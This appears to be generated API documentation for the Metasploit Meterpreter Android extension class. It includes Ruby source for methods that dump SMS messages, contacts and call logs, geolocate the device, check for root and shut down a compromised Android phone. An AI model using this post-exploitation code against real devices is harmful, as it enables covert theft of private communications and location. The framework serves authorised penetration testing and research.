Class: Rex::Post::Meterpreter::Extensions::Android::Android
- Inherits:
-
Rex::Post::Meterpreter::Extension
- Object
- Rex::Post::Meterpreter::Extension
- Rex::Post::Meterpreter::Extensions::Android::Android
- Defined in:
- lib/rex/post/meterpreter/extensions/android/android.rb
Instance Attribute Summary
Attributes inherited from Rex::Post::Meterpreter::Extension
Instance Method Summary collapse
- #check_root ⇒ Object
- #device_shutdown(n) ⇒ Object
- #dump_calllog ⇒ Object
- #dump_contacts ⇒ Object
- #dump_sms ⇒ Object
- #geolocate ⇒ Object
-
#initialize(client) ⇒ Android
constructor
A new instance of Android.
Constructor Details
#initialize(client) ⇒ Android
Returns a new instance of Android.
23 24 25 26 27 28 29 30 31 32 33 34 35 |
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 23 def initialize(client) super(client, 'android') # Alias the following things on the client object so that they # can be directly referenced client.register_extension_aliases( [ { 'name' => 'android', 'ext' => self }, ]) end |
Instance Method Details
#check_root ⇒ Object
117 118 119 120 121 |
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 117 def check_root request = Packet.create_request('check_root') response = client.send_request(request) response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value end |
#device_shutdown(n) ⇒ Object
37 38 39 40 41 42 |
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 37 def device_shutdown(n) request = Packet.create_request('device_shutdown') request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n) response = client.send_request(request) return response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value end |
#dump_calllog ⇒ Object
97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 |
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 97 def dump_calllog log = Array.new request = Packet.create_request('dump_calllog') response = client.send_request(request) response.each(TLV_TYPE_CALLLOG_GROUP) { |p| log << { 'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value), 'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value), 'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value), 'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value), 'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value) } } return log end |
#dump_contacts ⇒ Object
64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 |
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 64 def dump_contacts contacts = Array.new request = Packet.create_request('dump_contacts') response = client.send_request(request) response.each( TLV_TYPE_CONTACT_GROUP ) { |p| contacts << { 'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value), 'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)), 'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER)) } } return contacts end |
#dump_sms ⇒ Object
44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 |
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 44 def dump_sms sms = Array.new request = Packet.create_request('dump_sms') response = client.send_request(request) response.each( TLV_TYPE_SMS_GROUP ) { |p| sms << { 'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_TYPE).value), 'address' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_ADDRESS).value), 'body' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_BODY).value).squish, 'status' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_STATUS).value), 'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_DATE).value) } } return sms end |
#geolocate ⇒ Object
82 83 84 85 86 87 88 89 90 91 92 93 94 95 |
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 82 def geolocate loc = Array.new request = Packet.create_request('geolocate') response = client.send_request(request) loc << { 'lat' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LAT).value), 'long' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LONG).value) } return loc end |